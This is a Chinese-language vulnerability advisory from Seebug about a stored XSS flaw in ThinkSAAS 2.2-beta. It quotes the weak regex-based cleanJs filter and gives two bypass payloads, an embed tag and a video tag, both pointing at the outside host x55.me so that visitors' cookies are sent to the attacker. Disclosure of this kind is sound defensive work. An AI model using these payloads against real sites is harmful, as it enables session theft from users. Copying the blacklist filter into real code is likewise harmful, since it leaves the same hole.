Lucene search

K
seebugRootSSV:94331
HistoryJun 03, 2014 - 12:00 a.m.

ThinkSAAS 2.2-beta 存储型XSS

2014-06-0300:00:00
Root
www.seebug.org
20

简要描述:

富文本过滤不严格导致可植入恶意脚本盗取用户cookies

详细说明:

对比了一下 WooYun: Thinksaas存储型XSS ,发现确实更新了。我就无耻的来了。
下面是对富文本过滤的代码片段:

function cleanJs($text) {
	$text = trim ( $text );
	//$text = stripslashes ( $text );
	// 完全过滤注释
	$text = preg_replace ( '//', '', $text );
	// å®Œå…¨è¿‡æ»¤åŠ¨æ€ä»£ç 
	$text = preg_replace ( '/<\?|\?>/', '', $text );
	// 完全过滤js
	$text = preg_replace ( '/<script?.*\/script>/', '', $text );
	// 过滤多余html
	$text = preg_replace ( '/<\/?(html|head|meta|link|base|body|title|style|script|form|iframe|frame|frameset|math|maction|marquee)[^><]*>/i', '', $text );
	// 过滤on事件lang js
	while ( preg_match ( '/(<[^><]+)(data|onfinish|onmouse|onexit|onerror|onclick|onkey|onload|onchange|onfocus|onblur|onscroll)[^><]+/i', $text, $mat ) ) {
		$text = str_replace ( $mat [0], $mat [1], $text );
	}
	while ( preg_match ( '/(<[^><]+)(window\.|javascript:|js:|about:|file:|document\.|vbs:|cookie)([^><]*)/i', $text, $mat ) ) {
		$text = str_replace ( $mat [0], $mat [1] . $mat [3], $text );
	}
	return $text;
}

这个Filter依然存在很多问题,比如我们可以植入恶意的flash文件来盗取访问该页面的其它用户的cookies。该问题已在官网上重现。

<embed allowScriptAccess=always src=http://x55.me/x55.swf>

除此之外看到有人说,对于这个Filter已经没有什么好用的event handler可以用来触发xss了,我觉得好像也不是。所以再提供一种方案:

<video src="//x55.me/1.ogg">

上面的XSS Vector在chrome/firefox/Opera下有效。

<img src=“https://images.seebug.org/upload/201406/031809330065c12a095989ed3914658141f064cc.png” alt=“99.png” width=“600”>

漏洞证明:

攻击者在目标站插入恶意代码:

<img src=“https://images.seebug.org/upload/201406/03181013e485aef9b1fa04e386ec2e77d369ea66.png” alt=“00.png” width=“600”>

用户访问被插入恶意代码的页面时cookies被发送到攻击者的收信端:

<img src=“https://images.seebug.org/upload/201406/0318110332cce148c24c4cbe095a44c1235700f8.png” alt=“01.png” width=“600”>

攻击者成功获取受害者的cookies:

<img src=“https://images.seebug.org/upload/201406/03181127bc7612c58a52fb2f9b064227ef28dc2e.png” alt=“02.png” width=“600”>